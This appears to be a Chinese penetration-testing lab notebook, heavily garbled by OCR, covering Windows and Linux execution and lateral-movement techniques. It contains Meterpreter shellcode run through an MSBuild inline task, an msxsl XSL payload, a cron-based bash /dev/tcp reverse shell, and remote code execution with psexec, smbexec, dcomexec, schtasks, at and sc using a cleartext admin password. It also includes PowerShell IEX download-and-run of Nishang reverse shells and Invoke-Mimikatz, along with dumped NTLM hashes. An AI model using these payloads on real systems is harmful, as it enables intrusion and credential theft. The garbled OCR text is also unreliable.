0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,
0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,
0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,
0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4¢c,0x03,0x4¢c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xeb,
0x49,0xbc,0x02,0x00,0x11,0x5¢,0x0a,0x64,0x13,0x13,0x41,0x54,0x49,0x89,0xe4,
0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,
0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,
0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,
0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4¢c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
0x99,0xab,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xeb5,
0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,
0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,
Oxba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,
0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,
0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,
Oxff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,



Oxff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 };

UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadld = O;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, O, funcAddr, pinfo, 0, ref threadld);
WaitForSingleObject(hThread, OxFFFFFFFF);
return true;
}
}
1>
</Code>
</Task>
</UsingTask>

</Project>
2. msfig&

use exploit/multi/handler

msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
> set Ihost 10.100.19.19

> set Iport 4444

)
msf exploit(multi/handler)
msf exploit(multi/handler)

( )

msf exploit(multi/handler) > exploit



3. #d MSBuIild iZ1T7 8E3K 15 Meterpreter 21,
C \Wlndows\Mlcrosoft NET\Framework\v4 O 30319\MSBU|Id exe exec64.xml

icrosoft (R)> Build Englne Uersion 4.0. 38319 1
[Microsoft .NET Framework,. Uersion 4.0.30319.18261]
opyright (C> Microsoft Corporation 2887. All rights reserved.

Build started 2019/3,26 14:35:53.
Aittempting to cancel the build...

sfS exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 10.100.19.19:4444
[*] Sending stage (206403 bytes) to 1¢ ).19.94
[*] Meterpreter session 1 opened (10.100.19.19:4444 -> 10.100.19.94:3128) at 2019-03-26 11:56:05 +0800

eterpreter > shell

rocess 1744 created.

Channel 1 created.

icrosoft Windows [® ¥ 6.1.7601]

° 8¢ (c) 2009 Microsoft Corporationi £+ £  EE{i £

C:\Windows\Mic rosoft.NET\Framework64\v4.0.30319>whoam1
whoami
admin-pc-win7\admin

C:\Windows\Mic rosoft.NET\Framework64\v4.0.30315>

20.Winword

IME: Kali: 10.100.19.19 Win7 : 10.100.0.25, office2013
WiEFi%E: FIA Office word BY/| SEEINE dIl STt
winword.exe /I dlifile.dll {EF kali #I{E dli
AU ITI0EL payload

(RR3% shell, EINKM)
21.XSL Script Processing (XSL fi4s4b3#)
ME:  Kali: 10.100.19.19 Win7 : 10.100.0.25

KEFE: 1. 7 kali HITERAN X4, FF/E Python3 —m http.server 80

customers.xml

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>

<customers>



<customer>
<name>Microsoft</name>
</customer>

</customers>

script.xsl

<?xml version=".0'?>

<xsl:stylesheet version="1.0"
xmins:xsl="http://www.w3.0rg/1999/XSL/Transform"
xmins:msxsl="urn:schemas-microsoft—com:xslt"

xmins:user="http://mycompany.com/mynamespace">

<msxsl:script language="JScript" implements—prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /k calc.exe");

return nodelist.nextNode().xml;

}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xmi(.)"/>
</xsl:template>

</xsl:stylesheet>

FE FEFHNIT msxsl.exe http://10.100.19.19/customers.xml
http://10.100.19.19/script.xsl



ion=" . " en
E §

ding-="
version=2" t s

c o
L

st les type ="texts/xsl?"™

. X 8

u t
t i Microsoft&lt; / namebdyg

c p gts;
omenrs H

http://18.100.19.19/customners.xnl http:/-10.108.19.19
encoding="UTF 1

.B"?78&gt;
type="text/ xsl™"™

sMicrosoeoft&lt;  nanebdyg

22.XSL Script Processing (XSL fi4<4b3)

M5 Kali: 10.100.19.19 Win7 : 10.100.0.25

WiEHEFE: 1. £ kali FIfER T, FB Python3 —m http.server 80

customers.xml

<?xml version="1.0"?>

<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
<customers>

<customer>

<name>Microsoft</name>

</customer>

</customers>

script.xsl

<?xml version="1.0'?>

<xsl:stylesheet version="1.0"
xmins:xsl="http://www.w3.0rg/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft—-com:xslt"

xmins:user="http://mycompany.com/mynamespace">



<msxsl:script language="JScript" implements—prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /k calc.exe");

return nodelist.nextNode().xml;

}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xmi(.)"/>
</xsl:template>

</xsl:stylesheet>

I T EHFHIT msxsl.exe http://10.100.19.19/customers.xml
http://10.100.19.19/script.xsl

= BTES: C:\Windows\system32\cmd.exe =
T7Txml version="1,. ot encoding="UTF-16"7>8
3 Txml version " . "7Thkagt;
3 7 " 3 Yyles e type=""text /xsl?"™ href

sMicrosoft&lt;  namneébg
t 5
i /cus mer
& H s t ers &

:\Windows\Tasks>nexsl.exe http:/-10.100.19.19/customers.xnl http:/710.100.19.19
script.xsl

7 ?7xml vers ion-=2" - 2 C ding="UTF 16"
1t ;7Txml version t 3
- s 1"

?

?
»
i cC
&

o ft&lt:;

23. A HiAT 551 B

IE: WAL A: Kali (10.100.18.20) AT #EW A shell #FE3E I
CentOS (10.100.19.17)



WhFiE: B ssh OLBKEBZOLEREE AR shell BIITLIESS */1* *
* * bash -i >&/dev/tcp/10.100.18.21/3333 0>&1

[adminflocalhoat

cronad (pag

v.T.T

crontab —e #H{T4R4E

[adminflocalhost

* /1 - - - - raqr‘

B2EE7E vps _E nc —Ivp 3333 FREVSF X M shell
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e TR Ll b o 5 (e

Baah: mo job comtrol in this ahell
[stminglocalreat <)% 14

»

w500 adulr ) V0N sdnin) prowi~500( adaln) (oMlextrunconf ined uiwronf lned rousiond leed Loal- 38008 CDODS
| sdainfilocalicat ~|% whoand

e |

wha s

[sSminglocalieat <% 1s

s

(L DL D

draf dood

SRL LBV _TRreadt . Py

OVt s Lo, 20

oeduss 2.2

aedurs 2. 2. tar g2

PrgAteady M 1SRJ11. 21p

SIS 0. 18 TW1NE) . a8
slonttpteat-1.7

tlowhrrptest.]. 7. tae g2

STAS €. 10 113 NIW11518)88% ) . 4 bw

[ e i hr 8 Lt — | § @m0
exlt
exlt

24 .PsExec

KEHH: Windows 2012 R2  (10.100.18.22) &3 Python2.7 (E&E4% py X{43T
B exe IR ARA) #IEHL: Windows 2012 R2  (10.100.18.21)

WiEFE: python psexec.py administrator:3edc7UJM@10.100.18.21



i Nlsers“Adninistrator\Desktopstoolssinpacket “mastersexanples dJpython psexec.py a

ininistrator:JedcAJIJNE10. 108,18 .21
lnp.u ket vB.9.19dav Copyright 2819 Securefuth l:nrp—c]r.\l fan
[=] Requesting hares on 18.1898_18_21
(=] Found writable share ADMINS
[=] Uploading file YISTmhKc .exe
[=] Opening SUCHanager on 18.1808_.18_21
(=] Creating service g on 18,108,188 .21
rting service glen

help for extra shell commands

isMindovsssystendd >vhoani

ystemn
18

Mindowssystend2lipconfi ig
Jindows IP

- 255 .2 .A.8
1W. 1891821
295.255.2
izatap.{2353610D-ABCY 46 EE-ACE4-DAZRCB44788) :

izatap. {13076 B27-CFIN—15980-94F6 -10065471A5%61 > :

i sMindow

AdRainistrator

IS indow
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b (erarvat 11, Srqr Vessre 28175172 (8005056 0a175:00), Dev: Veesre Sacd?sdf (98cidcSdofacdlodd )
b Istervet Protocol Verslon &, Sec: 30.500.38.21, Dun: 10 108, 1822
Sre Port: A4S, Det Port: 4AN7, Seq: §8, Ack: B, Le: 85
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IE: WAL A Kali (10.100.18.20) FAF#EW <@ shell FEig W4l B:
Windows 2012 R2 (10.100.18.22) #XIKHEHL: Windows 2012 R2
(10.100.18.21) &%k Python2.7 (&N py XIEHIT B exe XL AT UG R)

WiHFiE: Schtasks—it¥I{ES

3% 10.100.18.21 B IPCSHZE, FA unc #&12 net use \\10.100.18.21\c$
"3edc7JUM" /user:Administrator



2 Nsers\Adninistrator’Desktopinet use SNNIH.1H8.18 21N

).
i

=

s“\Adninistrator\Desktopinet use “N\10.100.18.21 %

“\68.108.18.21 5
Dizk

oK

5}

BEHZE Net view \\10.100.18.21 BFEHI dir
\\10.100.18.21\c$\Users\Administrator\Desktop\

Adninistrator\Desktopddir “\10.100.18. 21«5 Vsers Vdninistrator\Desktop
19.108.18.2 o
= 8471

1018818 _21¢cSJsera Adninistrator Deaktop

Y8372 11:17 CDIR>
Hni 11:17 <DIR>
N3 11:838
7803 14:38
718722 13:23 < Q erver_28012 tandard_edition_xB6 _xbh4
B13484
89 :2 14.178.344 edr_installer_180.100.19.195_8883 .exe
y <DIR> tools
1,215,368 winZBl 2 _meduza topl B _ZHIB1204_16_J34.evt x
$5.312.512 win2812 _nlbrute _topl@@d 20181204 _16_41 .evtx
1 Y/837°26 12 14,182 umic.txt
74 22.M2.M2 T

B1.358.995.768

SEHIZAHE 1.bat ZIEME copy 1.bat \\10.100.18.21\c$\Users\Administrator\Desktop\

i lsers\AdministratorsDeaktoprcopy 1.bat “N\10.100.18 .21 «cSWasers Vidninistrator™
Desktop™




&6 B #5078 net time \\10.100.18.21
WINTTRIES

schtasks /create /s 10.100.18.21 /u administrator /p 3edc7UJM /ru "SYSTEM" /tn
CMDNAME /sc DAILY /st 11:25 /tr C:\\Users\\Administrator\\Desktop\\1.bat /F

1.bat

PowerShell IEX (New—Object Net.WebClient).DownloadString('https://raw.githubuse
rcontent.com/samratashok/nishang/master/Shells/Invoke—PowerShellTcp.ps1');Invo
ke—PowerShellTcp —Reverse —IPAddress 10.100.18.20 —Port 3333

i Nlzers \dainistrator Dezktop>schtazhk create /3 10.108.18.21 Au administrator
P jedc7UJN ra "SYSTEMN" tn CHDNAME sc¢ DAILY /st 11:25 er C:sNllserss\“\Adninis

ratorssDesktopssl . hat F
W O F Ay i+ “CHDHAME"

FXINZRENR [ shell (AIRMESE L0 #HER)
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at-itRIES

%1% 10.100.18.21 B IPC$HZ, H unc i§12
I[limage]l(./images/8A509B272B274D569BFFA6D66419876.png)
net use \\10.100.18.21\c$ "3edc7JUM" /user:Administrator
At 1.bat FIRE

copy 1.bat \\10.100.18.21\c$\Users\Administrator\Desktop\
EHY(8]

A at 8% 7E 11 R 50 /850 1.bat (X2 360 =i=#i)

net time \\10.100.18.21

at \\10.100.18.21 11:50 1.bat

IR =5

net use \\10.100.18.21\c$ /del

Sc-itXIES
$EI7 ipc EIEG LEFFIETHN bat BIAZIBIrRAR L, SIERS (FEIRSIHSMU sys
tem NPRTEIRFER F LT bat BI7)

sc \\10.100.18.21 create test binpath= "cmd.exe /c start C:\\Users\\Administrator\\
Desktop\\1.bat"

HFERS, BITEHEGLANEZEN bat HIXAAE

sc \\192.168.17.138 start test

FRARSS
sc \\192.168.17.138 delete test

26. 1 P ETBAL S E

ME: EHAL: Windows 2012 R2  (10.100.18.22) #I#HAL: Windows 2012
R2 (10.100.18.21) IXEFE: FTHGSITHEIA mstsc
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27.DCOM #|H

FE: KEAL: Windows 2012 R2  (10.100.18.22) #XH4l: Windows 2012
R2 (10.100.18.21)

FE 445 In OB, &F B RSN AEEEREA T RARS, AARTESFLE
B8, TERSERARN,B P —RREIAREE —L windows 2012r2, 389
RARRABE A IHE, LEARTAFIEATEL

[ iy bl == 38 10 18 51wl ip ol = 18 (0 18 i-l=RE

[ ) Tows Srwee Bratination Protesal Ltk dads
1558 12.5M716 18,189, 18.22 18.182.18.21 o 5450001 - 445 [ACK] See=l Ack=
1551 12.5MM8 18, 189, 18,22 19, 188, 18. 21 0 27 Negotlete Protocel Regeest .
1552 12.5371% 16,18, 18. 21 19, 18, 18. 22 SeB2 228 Negoelate Protocel Respome
1553 12,5706 18, 160, 18,22 18, 168, 18,2 S50 L6 MNegotlote Protocol Reguest
1954 12,586 18,180, 18 71 1, 1, 18 22 .- 1278 Wegoelete Protocol Gespome
1555 12.5%4297) 18, 189, 18.22 19, 182, 18.21 no T12 Session Setup Lequest, WTLOGRS
1556 12.540a04 16,189, 18.21 19, 188, 18.22 S B2 481 Sesslos Setwr Response, [rror
1557 12.54¥%65 18, 188, 18,22 1, 168, 18,21 S| 528 Sesilon Setup Request, WTLIGS
1558 12.55 8 18, 2, 18,21 1, 1. 18,22 19 Sersion Setuw Lesponie

1561 12.554171 19,189, 18,22 « L. 18 54 59002 » L)5 [ACK] Seel Ackel
1562 12557151 18,168, 18, 22 DCERRC 166 Blne: s §

54 59901 - &85 [MX] See-d0@ Ak
68 135 « 5902 [ACK] See=380 Ack
-

3

b frame 1562: 166 byten on wire (1308 oits), 166 bytes captured (1308 blts)

b Ethereet 11, Src: Wmeare Sacdlodf (905054 00c87:40), Dat: Vmesre B0:73:0d (0050:56:8: 75 )

b Ieqereet Protocol Vershon &4, Srci 30,009, 52,22, Osti 10.109.18.71

b Trorselssion Conrel Protacsal, Se¢ Port: 9002, Out Port: 135, Seqt &, Ade: 1, Len: 112

b Clatributed Computing Emdrament 7 Gesote Procedore Call (OXEANC) Bled, Trageet: Single, lraglen: 112, Call: 1

50 56 e PS5 T e SR 56 Be A7 & WA Pvu) PO B
W ITMA N e 16t > L,

e B o
L&

C:\Users\Administrator\Desktop\tools\impacket-master\examples>Python
dcomexec.py administrator:3edc7UJM@10.100.18.21 "net user"



2 laer Adniniztrator Jde '!Tl!‘l"—'ll(ll‘. “impac ket l|.l'.Tr~|“,j'-.\||||lt’x ,'|;I.-[]||.-l| deconexedc
adminizstrator:JadcAUJMEIBD. 100 .18 .21 "net usepr"
Inpacket vB.7.19~dev Copyright 2819 Securefuth Corporation

- Py

[=] SABv3.8 dialect used

“SHIN-R3I03SIVEFIN

Rdministrator

dcomexec.py

administrator:3edc7UJM@10.100.18.21 "PowerShell IEX (New—-Object Net.WebClien
t).
DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/ma

ster/Exfiltration/Invoke—Mimikatz.ps?1'); Invoke—Mimikatz —Dump



raAdninistratorsDesktopstoo
JHFIO. 108 .18 .2
https:/7rav.github

“inpacket-masterexanplesdpython deconexec . py

Net . WebClient),
sercontent .con/mattifestation/FowerSploit
Mimnikatz.p=e1’ Minikatz

2019 Securefiuth Corporation

admninistrator:dedc’ “"Powers (New—Ohbject
Down loadString(’ ‘MAS
ter/Exfiltration/Invoke

vH.9.19

Invoke DunpCreds ™
]r.p.u kot dev '-““L"”"":l"'

=)

SMBuvi. W

-Eauun.

dialect

mimik

.Be BE. "N La

i “~ BB L
ue [ 4
‘BR v BB’

‘EEnNn’
ERROR mimikatz

vinikatz{powerchell) §

Aut hent ication Id
2 sion
Mame

Doma in

lser
logon Server

IAI'{IIII 1 ine

1D
now
ks |||'\q
wdigest

“ Username

ap

credman

Aut hent icat ion

on

* Mame

Cerver

.I Lhe

Uie

Benjamin

https:.

initOrClean

4> built

Ainour"

on Mov 10 2816 15:31

DELPY "gentilkiwil” <
blog.gentilkivi.conminikats
with

i ColnitializeEx: 8881801806

sekurlsa:®! logonpasswords
CHAHBHRNY - C A F 8D

Interactive from 1

DuUrM-1

Window Manager

(nulld

2819/

5-1-5>-70

: WIN-RIOASIVEFINS
: WORKGROUP

: <pull>

B 15528146
Interactive
Dur-13
‘Jillll‘ll) H."l!"‘l' "
{nulld

1%/

‘ "

CHBRRES - e cd1 92D
from 3

14

benjaninBgent 1 1kiwi

28 modules

.COR 2
{oe.00)




wiligest
“ Username 2 WIN-RIOISIVEFIMNS
» Domain : WORKGROUP
# Pagssword  (nulld

kerberos
« Uzsername : win-r3old53vefliInd
# Domain : WORKGROUP
= Pas = : {null>

gap I

credman

Aut hent icat ion 1 y 217237 (SDRROERY t BRI 5895 )
ren: ! Interactive from 1
Narwe : Rdministrator
: MIN-RIOASIVEFIN
Logon Server : UWIN-RIOASIVEFIN
: 201973721 17:36:13
$-1-5-21-131 }':'H'IH*N- 2089846542 -481 32826775808

[ABS1PP88 ] CredentialKeys
= NTLH : 2114a633c7hdebec1851 805 3820H0G8Y
= SHA1 I elfFaalBch7faZ3MeR7hbl 64444709725 ab6F 1077
[A88BBA83 1 Primary
» Username : Adninistrator
» Domain : WIN-R3I03IS53VEF3N
» NTLH : 214a633cVhdebec4@51 8805 382HEEY
= SHA1 : elfFaalBchFaZ3MecB7hbl 64444 N 725abbeE 107
tspky
sad igeat
w Ugername I Adninistrator
* Domain : WIN-RIOISIVEF3IN
* Pagsgsword : <null>
L e I'I]" ros
# Username : Adninistrator
« Domain : WIN-R3I0353VEF3N
w Password 2 <null)
gap 3 KO

¢ redman

fut hent ication Id : i 997 (HRBERRNE : PRBH e S >

28.Powershell

IME: IEHL: Kali (10.100.18.20) H#RAL: Windows 2012 R2
(10.100.18.21) #XEHEH: Windows 2012 R2 (10.100.18.22) #KEHH:
Windows 2008 R2 (10.100.18.23)

WiEFiE: Powershell Remoting 2 Powershell Bz EIRINEE, Fi5
Windows iZF2BIEARSE WInRM RAEGEMIT 5985 i% [, ZIRESBRIASTE



Windows Server 2012 22589, £ Windows Server 2003/2008/2008 R2
PEZEFsEa. BinENFE Powershell Remoting Cmd #11T 718

Powershell Remoting

PowerShell —exec —bypass

Enable-PSRemoting —Force

1% E WIinRM fRZ5 B /35 Set-service winrm —startmode automatic IQIEIRS

Get-WmiObject —Class win32_service | Where—-Object {$_.name —like "WinRM"}

BERE IR ENIRE N ZEE Set-Item WSMan:\localhost\Client\TrustedHosts -
Force —Value * B2 R%% Restart-service WinRM IR iZf2 T 2SS HBIZEEIE

IhEE Test—-WsMan 10.100.18.21 BE&=Z{={E XA Get-Item
WSMan:\localhost\Client\TrustedHosts

K UAC

B 5@ Word 44 DDE Wizl (Word 44 DDE ISZﬁEl% Z (aHiT-oh
SEUERM) ) Windows 2012 R2  (10.100.18.21) , #A/G{EA Powershell
Remoting ITfE A L HITHITHERIZZEZET Windows 2012 R2  (10.100.18.22)
#1 Windows 2008 R2 (10.100.18.23)

FTF cmd # A powershell, powershell —exec bypass



B8 Empire 15817 F&i% % Empire
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B IEHME web AR5 23121 shellcode FUIZFZNNEL

RINESRP T T HHERABE Word X5

RID B2 04F (2 ABAR

FXINFREX shell E: ZAMhZEFIF, F— word XHEBEAN TR MNMIRE, S
powershell fCEB#EI1T 7 FURATLASRER 7 IR



RiZ B ENES AT PowerShell Remoting, SEHA BB THIMNRAENE, NI
B LAfE A usemodule lateralmovement/invokepsremoting f& IR THE M5,
W0F: tEM@EIE Windows 2012 R2  (10.100.18.22) set ComputerName

10.100.18.22 set Listener sangfor execute




ool = 10 D0 1 01 el op wlie = MO o 52 e Gp ke = X wd ip oadde =y gl - TRT Acr
26% 3. 315188 i 1, 18. 21 18, 189, 10, 22 Toe 6 49088 ~ 5585 [SYN, KON, OWR] Secsd ™
226 3.318049 18, 1689, 18, 22 16, Ll 8. 20 1er 66 SRS = 4033 [STN, AN, ECN] Seced

. . -
- = - w W B
S 5 & & & R 5 A
& w x b
- - - - . -
" . 8 - -
1} r = .

e 70 10€ < N «lre [S0CE HI%
Vimears BacdTidd (880000 BacdT 4}, Dee: Vsare Bar?%:7

Tecerear Proe

r avim w Cont Peogocad ,
Wypertest Tromd fer Proteol

29.SMBexec

iR &AL Windows 2012 R2  (10.100.18.22) # X EH41l: Windows 2012
R2 (10.100.18.21)



Wk

o | Jidninistratorsl

adminiztratopr

vB.?.19-dew

Impacket

[*] Launching i-interactive

:“\Wind yatend: pconf ig

DNS
1 Pub
1 Puvd

EthernetB:

DNS
1Pub

R X e g adle - t
' Tots
»a.Mmen 19,10, 18,22
MOL TN 10 180 18 21

e te i b " i
P <] (LN . { i .
L e 4 ¥, 10
- _— ot -
- " . L .
M (Server Mess age . oo
o e
5 s = w1 oen T
- ¥ w o . W
 dc &d 0 30 de 31 32
» f = w Bat o ' - L L

Copyright

ktap“too ls™i
jedeAUJHE1D . 108 .18 .2

2819

shell

L, L, 58,21
9. 10w, 18.22

=

acket-—mastersexanpl

securefiuth Corporation
what

Careful you

:i8d2B:5586:Fak?:

5.8.8

FeBPB: :34b6 : 6 7ec
18.1808.18.21

KK

18.1688.19.2

1P
e

* r
T Wemeare .
1, B

t > I e i
[ ']

-

-

CINE

yt hon

execute

h94d:

G 20000 « 415 [SeN, BN, OWR) Seged v

A5BEF:T5a

zmbe xed

python smbexec.py administrator:3edc7UJM@10.100.18.21

-Py

6 484 = SN0E8 [SPN, AKX,

M) Yeged ¢



30.WinRM

ME: AL Windows 2012 R2  (10.100.18.22) %3 Python2.7 (&5 py
NHEITER exe BRWBT AR R) #WHIE: Windows 2012 R2  (10.100.18.21)
BRIRRTE &5, SR ERIEE T WinRM 214 BRAE T fRLE winRM &
mFIARIE &F winRM (F LEiniE Bintles LHRATERIE S/ IMAR XT
msf FEY—L winrm R FEIRAYE LN A el fE L ECE S Ril£809 WinRM ARSS
BT, MR ERERF T WinRM ZIRZ2 T 4R8N B A WinRM 2
Microsoft 3 WS—-Management X AYSEER, WS-Management X EI—FpEF
WE BB RIAENIXISOAPIN "B KIERIF" tHiX, EILR B AR EAREH:
HRIERREES EARIRIE BRARWF: 2 Windows TARZ A BT ZEEEHITE
BEELIANFNET—M ARSI FET R RERSBMEIRE,
BEMSBZFinFARSSIH, A winRM BRS5 1% TETE 5985[http]ay 5986[https]
im0 £, WIinRM SR _E2AEBN HTTP tHIXIA SOAP 182U H1T B R R B HIAY,1X
AT AET HTTP BHEE R 158 T & £/ BN FE AN R, XthER
AFHE®EEF ARG, ERTNRALA SR, G RFZNE R UEBR
IR AR S F AT SEEL IR R AE @ A B BN P], E T HIR R B AL 2R 78, a0 e R E L,
PR £ 3¢ X A [a) F 4 B AR AT B RRIBA 1, G 2B AL = I8 1 B SR ]
tep.port==5985 and http.request.method=="POST"



—_——

b o = Sl Wity vt stk = ] 1=
Sy oy

1In ™ Fertimstion Pretecad I-uhﬁ
= GETL 19,006406 19,100.18.22 10,100, 18,21 HITP /o 2015 POST fwsmen WTTP/L.L
4+ BT 10878020 18, 190, 18.22 19,109, 18.21 HITP S, 2138 POAT fuaman WTTR/L.L
6753 19, 804044 18, 106, 10.22 19,109, 18,21 HTTP /DA, 2001 POST Asman NTTR/L.L
6843 19, MiM66 18, 108,18.22 18, 108, 18,21 HITP /o 2059 POST fusman ETTR/L.L
G000 19, %0255 19, 186, 18.22 10,108, 18.21 HITP /A, LOED POAT Avsman WTTR/L.L

<0

b Tranimisslion Costrol Protocel, Sre Port: 58885, Dit Port: 5985, Seq: Ack: L, Las: 1961
] *

4 gizpailiole Markep Language

b claml

« ceny Ervelope
WALNE I MEd=TITTP |/ vt ] O 20D S Chen 2™
mlns s l="hEto ! [ fsen ud . org/ 2080 0N 5chens - Lestance™
walng i rspea"nrep ! f)schemas alorosoft, comfubem heiman )/ Llndous fshall™
mlngipeThtep://ichenas alerdd of t. confben fuisan/ Liuiten . s 8™
LN e IEp s S achenas , Gat Y orglebenuinan Liuisan s 4"
g ws"http ) Sochenas , melssap . orgus / 200L/ 00 /tran: fer”
wmlng as™htTp:/fechemas  welcoap. orgles /Nl #0 / address ing”
wmlngtb="http://schenas . dat{ org/wbem/wsnan/ L/cinbisdisg. s d™
WLNG o "NTTP ! /i .03 . or g/ 2000 /86 /5 00 - snveloge”
salng:cfg="heep! J/ichemas alircsoft, confuben fiman/Lfconflg®
LN Ae"IETP /S EChimas . L5 Sap . ONL i / 2001, 80 / eruler AT1 0" »

2178 3 3¢ Ba

%9 oax . ST 5 Bow

(W oy = B - st
Jouris Beutinatish LI Langul Dads

L. 100, 18, 21 18,509, 18.22 o 1514 998 = @40 [ACN] Seqed % Ack-4818 Wlred 29948 Len=l408 |TCPR
9. 100, 58,21 9. 209.18.22 o 1514 5085 « SO0M0 [AOK] ZeqeSTND Ack-L@L0 WL eiT348 Len-L40 [TCP,
L, L, LR, 21 I8, L, 1%, 22 Landy T TR L 28

L. i, 5522 18, i 18.21 Tor 4 Seds » $95 [Aln] Seq-SRl@ Ack=T90% WlrdSS N Lerd

1. 108 18 22 58.109.18.21 HITP 00 MY POAT jesman FTTP/LLL

1. 108, 18,21 0. 5209.18.22 o G0 5085 « SO0ML [AON] faqeT0P Ack-201% Mlrei2RNL8 Lened

1o, 188, 12, 21 18, 18, 12,22 HITP /08, ST MITR/L. L a8

0. 18, 18, 22 10, 1. 18. 21 HITP/m, 1B POST fvaman MTTP/L.L

L8, L. 18 21 18,188 18.22 o 6819 = JESie [ALN] SeqeBSAY AckeSSEd Wlred 9148 Lensd

19, 189, 18 21 19, 189, 18,22 WITP 0, 812 WTTP/L. 1 28

b Frame 6671: 2915 Bytes on wire (16109 Sits), MNIS Bytes captured (36109 Blt1) on Lrterface §

b lthereat 11, Src: Vmeare BacAToAd (003050 0a047:40 ), Ont: Wemare Bac73:78 (00:50:36:04:73:24)
b Inkervet Protocal Verslon 4, Sre: 10.300.18.22, Det: 39, 3809.18.21

¢ Transadssion Comral Protocel, Soc Porg: SaldE, Dit Porg: 5985, Seqr I, Ack: 1, Len: 1961

¥

+ sizeralisle Mk Lenguage
b claml
& divrwllmveloge
mmlog s d= ttes/ letee el .o/ SNLIASC ana”




enumeration™ »<env:Header > a:OptionSet>a:Option ~
Name="WINRS_CONSOLEMODE _STDIN">TRUE ¢/w:Option>ae:Option
Name="WINRS_SKIP_CMD_SHELL"™>FALSE </w:Optiony»</w:OptionSetra:MaxEnvelopeSize
mustUnderstand="true” >»153688¢ /w: MaxEnvelopeSizerca: Action
mustUnderstand="true” >http: //schemas .microsoft.com/wben fwsman/L/windaws /shell/
Command</a: Action>ae: Locale mustUnderstand="false™ »ml:lang="en-US"><¢/
wilocalerca:MessagelDouuld: F2f5df8a-8a2a-42d0-b748-666c0183 1deb ¢/
a:MesssgelDdau:OperationTimecut »PT285 ¢ /w:OperationTimecut > ca:ReplyTorca: Address
mustUnderstand="true” >http://schemas . mlsoap.org/ws /2004 /88 /addressing/role/
anonymous </a:Address ></a:ReplyToraw: SelectorSetrae: Selector
Name="ShellId">71E34FSF - FOO7 -4458-5050-E588BE ABE 608 ¢ /w : Selector> ¢/
wiSelectorSet>aw:ResourcelRl mustUnderstand="true™>http://

schemas .microsoft.com/wben /wsman/1/windaws /fshell /emd ¢/

